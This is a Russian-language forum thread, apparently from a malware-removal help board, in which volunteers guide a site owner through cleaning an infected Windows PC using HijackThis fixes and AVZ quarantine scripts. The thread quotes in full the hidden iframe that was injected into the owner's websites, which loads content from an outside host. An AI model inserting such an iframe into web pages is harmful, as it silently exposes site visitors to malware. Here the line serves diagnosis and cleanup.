Printable View
У меня уже несколько раз в мои сайты вставляется вот такая строчка:
[I]
<iframe src="http://a3t.ru:8080/ts/in.cgi?pepsi89" width=125 height=125 style="visibility: hidden"></iframe>[/I]
Пароли уже удалил и ФТП. Еще есть подозрения, что еще какая-то гадость есть на компьютере, спасибо!
Пофиксите в HijackThis:
[code]
O2 - BHO: My Search BHO - {014DA6C1-189F-421a-88CD-07CFE51CFF10} - C:\Program Files\MySearch\bar\1.bin\S4BAR.DLL (file missing)
O2 - BHO: (no name) - {02478D38-C3F9-4efb-9B51-7695ECA05670} - (no file)
O3 - Toolbar: My Search Bar - {014DA6C9-189F-421a-88CD-07CFE51CFF10} - C:\Program Files\MySearch\bar\1.bin\S4BAR.DLL (file missing)
[/code]
Выполните скрипт в AVZ:
[code]
begin
SetAVZGuardStatus(True);
QuarantineFile('C:\Documents and Settings\Pika\Главное меню\Программы\Автозагрузка\rncsys32.exe','');
QuarantineFile('C:\Documents and Settings\Pika\Application Data\adwind.exe','');
DeleteFile('C:\Documents and Settings\Pika\Application Data\adwind.exe');
DeleteFile('C:\Documents and Settings\Pika\Главное меню\Программы\Автозагрузка\rncsys32.exe');
BC_ImportDeletedList;
ExecuteSysClean;
BC_Activate;
RebootWindows(true);
end.[/code]
Компьютер перезагрузится.
Пришлите карантин согласно приложению 3 правил
(загружать тут: [url]http://virusinfo.info/upload_virus.php?tid=49460[/url]).
Сделайте новые логи (только п.2 и 3 раздела Диагностика).
[QUOTE]
Пришлите карантин согласно приложению 3 правил
(загружать тут: [URL]http://virusinfo.info/upload_virus.php?tid=49460[/URL]).
Сделайте новые логи (только п.2 и 3 раздела Диагностика).[/QUOTE]Сделано!
C:\WINDOWS\system32\drivers\glaide32.sys - пришлите согласно приложения 2 правил ...
[QUOTE=pikapika;428081]Сделано![/QUOTE]
Не путайте раздел [I]Диагностика[/I] [URL="http://virusinfo.info/showthread.php?t=1235"]правил[/URL] и список стандартных скриптов в AVZ.
[QUOTE=V_Bond;428083]C:\WINDOWS\system32\drivers\glaide32.sys - пришлите согласно приложения 2 правил ...[/QUOTE]
Такой файл не найден.
[QUOTE=Bratez;428089]Не путайте раздел [I]Диагностика[/I] [URL="http://virusinfo.info/showthread.php?t=1235"]правил[/URL] и список стандартных скриптов в AVZ.[/QUOTE]
Извините, надеюсь теперь правильно.
Выполните скрипт в AVZ:
[CODE]begin
BC_DeleteSvc('glaide32');
BC_Activate;
RebootWindows(true);
end.[/CODE]
После перезагрузки сделайте
[QUOTE]Диагностика
...
2. Подключитесь к сети Интернет, запустите AVZ*. Вновь откройте меню "Файл"=>"Стандартные скрипты" и отметьте теперь пункт "Скрипт сбора информации для раздела "Помогите!" virusinfo.info". Нажмите "Выполнить отмеченные скрипты". Будет выполнено автоматическое исследование системы, полученный лог avz_sysinfo.htm будет сохранен в директории AVZ в папке "LOG" в архиве [B]virusinfo_syscheck.zip[/B].
3. Запустите HijackThis*. В появившемся окне с пользовательским соглашением нажмите на кнопку I Accept. Если программа не запускается или прекращает работу после запуска, скачайте переименованный файл программы HijackThis здесь и в дальнейшем используйте его. Нажмите на кнопку "Do a system scan and save a logfile".
Сохраните лог. По умолчанию лог сохраняется в папке программы с именем [B]hijackthis.log[/B][/QUOTE]
[QUOTE=Bratez;428117]Выполните скрипт в AVZ:
[CODE]begin
BC_DeleteSvc('glaide32');
BC_Activate;
RebootWindows(true);
end.[/CODE]После перезагрузки сделайте[/QUOTE]
Сделано!
Отлично!
В логах больше ничего подозрительного.
[URL="http://virusinfo.info/showthread.php?t=27923"]Bonjour[/URL] лучше удалить - неполезная программа.
Настоятельно рекомендуется установить SP3 + последующие обновления.
Потом снова поменяйте пароль на фтп и очистите страницы своих сайтов от чуждого кода.
[QUOTE=Bratez;428125]Отлично!
В логах больше ничего подозрительного.
[URL="http://virusinfo.info/showthread.php?t=27923"]Bonjour[/URL] лучше удалить - неполезная программа.
Настоятельно рекомендуется установить SP3 + последующие обновления.
Потом снова поменяйте пароль на фтп и очистите страницы своих сайтов от чуждого кода.[/QUOTE]
Большое Вам спасибо! Очень помогли!
Статистика проведенного лечения:
[LIST][*]Получено карантинов: [B]1[/B][*]Обработано файлов: [B]1[/B][*]В ходе лечения обнаружены вредоносные программы:
[LIST=1][*] c:\documents and settings\pika\application data\adwind.exe - [B]Trojan-Ransom.Win32.Agent.cg[/B][/LIST][/LIST]